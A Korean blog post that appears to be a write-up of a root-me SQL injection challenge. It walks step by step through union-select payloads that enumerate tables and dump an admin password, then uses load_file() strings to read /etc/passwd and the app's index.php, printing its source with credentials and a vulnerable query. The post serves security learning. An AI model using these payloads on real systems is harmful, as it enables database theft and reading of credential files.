반응형

File read 관련 SQL Injection 문제를 풀어보도록 하겠습니다.

 

문제에 들어가 보니 [Authentication]과 [Members] 두 개의 메뉴가 존재하고, [Authentication] 메뉴에는 로그인 폼이 있습니다. 로그인을 시도해보았지만 SQL Injection 포인트는 아닌 것 같아 보입니다.

 

이번에는 [Members] 메뉴를 클릭해 보았습니다. "admin" 계정이 보입니다. 클릭합니다.

 

"admin"을 클릭하면 URL 상에 GET 메소드로 action과 id 파라미터가 전송되는 것을 볼 수 있습니다.

 

id 파라미터는 1이라는 값을 전송하고 있습니다. admin 계정의 id 값으로 보입니다.

SQL Injection 취약 판단을 위해 우선 참 값의 SQL 구문을 전송해보았습니다.

id=1+and+1=1--(참) 쿼리 구문을 전송할 경우 정상적으로 admin 계정의 정보가 출력되고 있습니다.

 

이번에는 거짓 값의 SQL 구문을 전송합니다.

id=1+and+1=2--(거짓) 쿼리 구문을 전송할 경우 결과 값이 없다는 에러가 출력됩니다.

 

SQL 쿼리 구문이 참일 경우와 거짓일 경우에 따라 결과 값이 상이하기 때문에 SQL Injection 포인트라고 판단하였습니다.

 

SQL Injection 포인트를 찾았으니, 본격적으로 정보를 수집해서 관리자의 패스워드를 획득해보도록 하겠습니다.

Step 1. 필드 수 파악

필드 수는 order by 구문을 이용해 판단 가능합니다. 

id=1+order+by+4# 쿼리 문을 삽입하였을 때는 정상 값이 출력되지만, id=1+order+by+5# 쿼리 문을 삽입할 경우엔 에러가 출력되는 점을 이용해 필드 수는 4개라는 정보를 알 수 있습니다.

 

Step2. 데이터베이스 정보 수집(생략 가능)

필드 수가 4개라는 정보를 확인하였으니 union all select 구문을 이용해 DB 정보를 획득해보도록 하겠습니다.

id=1+and+1=2+1+and+1=2+union+all+select+1,2,3,concat(version(),user(),database())-- 쿼리문을 사용하여 각각 버전 정보, 유저명, 데이터베이스 명을 확인 가능합니다.

 

Step3. 테이블명 파악

id=1+and+1=2+union+all+select+1,2,3,table_name+from+information_schema.tables+where+table_type='base table'-- 쿼리문을 사용하여 테이블 명을 획득합니다. 테이블 명은 "member" 입니다.

 

※ 쿼리 문에 싱글 쿼터(')를 삽입할 경우 SQL 구문 에러가 발생하기 때문에 base table을 Ascii Hex 값으로 인코딩하여 삽입하는 방법으로 해당 에러를 해결하였습니다.

 

Step 4. 컬럼명 파악

id=1+and+1=2+union+all+select+1,2,3,group_concat(column_name)+from+information_schema.columns+where+table_name='member'-- 쿼리문을 사용하여 컬럼 명을 획득합니다. 컬럼은 각각 "member_id", "member_login", "member_password", "member_email"로 총 4개입니다.

 

관리자의 패스워드를 획득하는 것이 목표이기 때문에 member_password 컬럼을 사용하면 될 것 같습니다.

 

Step5. 데이터 파악

id=1+and+1=2+union+all+select+1,2,3,member_password+from+member-- 쿼리문을 사용하여 관리자의 패스워드를 획득합니다. 어차피 데이터(레코드)가 한 개뿐이므로 출력되는 값이 관리자 패스워드입니다.  

 

왠지 BASE64로 인코딩 된 값인 것 같아 디코딩해보았지만, 값이 깨져서 알 수가 없습니다..ㅠ

 

문제의 취지에 맞게 파일을 읽는 SQL Injection 공격을 시도해보았습니다.

load_file 함수를 이용해 시스템 자원을 다운로드 및 읽을 수 있습니다. 

사용법 : select load_file([절대경로]); // 파일 접근 권한 필요

 EX) - union select null, load_file('/etc/passwd')

      - union select null, load_file(0x2f6574632f706173737764) // HEX Encoding

      - union select null, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) // char 함수

 

id=1+and+1=2+union+all+select+1,2,3,load_file('/challenge/web-serveur/ch31/index.php')-- 쿼리문을 사용하여 index.php 파일을 불러옵니다. 해당 php 파일 내에 패스워드는 sha1 해쉬로 암호화되어 있으며, key 값과 base64 함수를 이용해 다시 인코딩하고 있습니다.

 

아래는 index.php 전문입니다.

 

<?php

define('SQL_HOST',      ':/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB',        'c_webserveur_31');
define('SQL_LOGIN',     'c_webserveur_31');
define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');


function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));        
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
 

mysql_connect(SQL_HOST, SQL_LOGIN, SQL_P) or exit('MySQL connection error !');
mysql_select_db(SQL_DB) or die("Database selection error !");

if ( ! isset($_GET['action']) ) $_GET['action']="login";

if($_GET['action'] == "login"){
        print '<form METHOD="POST">
                <p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
                <p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
                <p><input value=submit type=submit /></p>
                </form>';

	if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
	{
		$user = mysql_real_escape_string(strtolower($_POST['username']));
		$pass = sha1($_POST['password']);
		
		$result = mysql_query("SELECT member_password FROM member WHERE member_login='".$user."'");
		if(mysql_num_rows($result) == 1)
		{
			$data = mysql_fetch_array($result);
			if($pass == stringxor($key, base64_decode($data['member_password']))){
                                // authentication success
                                print "<p>Authentication success !!</p>";
                                if ($user == "admin")
                                    print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";
                                else 
                                    print "<p>But... you're not admin !</p>";
			}
			else{
                                // authentication failed
				print "<p>Authentication failed !</p>";
			}
		}
		else{
			print "<p>User not found !</p>";
		}
	}
}

if($_GET['action'] == "members"){
	if(isset($_GET['id']) && !empty($_GET['id']))
	{
                // secure ID variable
		$id = mysql_real_escape_string($_GET['id']);
		$result = mysql_query("SELECT * FROM member WHERE member_id=$id") or die(mysql_error());
		
		if(mysql_num_rows($result) == 1)
		{
			$data = mysql_fetch_array($result);
			print "ID : ".$data["member_id"]."<br />";
			print "Username : ".$data["member_login"]."<br />";
			print "Email : ".$data["member_email"]."<br />";	
		}
                else{
                        print "no result found";
                }
	}
	else{
		$result = mysql_query("SELECT * FROM member");
		while ($row = mysql_fetch_assoc($result)) {
			print "<p><a href=\"?action=members&id=".$row['member_id']."\">".$row['member_login']."</a></p>";
		}
	}
}

?>

 

참고로, /challenge/web-serveur/ch31/이 웹 루트인 것은... 무작위로 대입해보았습니다...ㅠ 다른 분들은 어떻게 파악했는지 궁금합니다...!

 

index.php 파일에 존재하는 함수와 획득한 관리자 패스워드 값을 이용하여 sha1 해쉬로 암호화되어 있는 실제 패스워드를 얻을 수 있었습니다.

>> https://rextester.com/l/php_online_compiler // php 코드 온라인 컴파일러 이용

 

>> https://hashtoolkit.com/decrypt-sha1-hash/ // 온라인 sha1 복호화 사이트

획득한 sha1 값을 복호화하였더니 관리자의 plain 패스워드를 확인할 수 있습니다.

복호화된 값이 Flag 값입니다^^

 


※ 참고 자료

- https://medium.com/bugbountywriteup/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2

- https://m.blog.naver.com/koromoon/220151062561

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token (JWT) - Weak secret  (0) 2020.03.06

+ Recent posts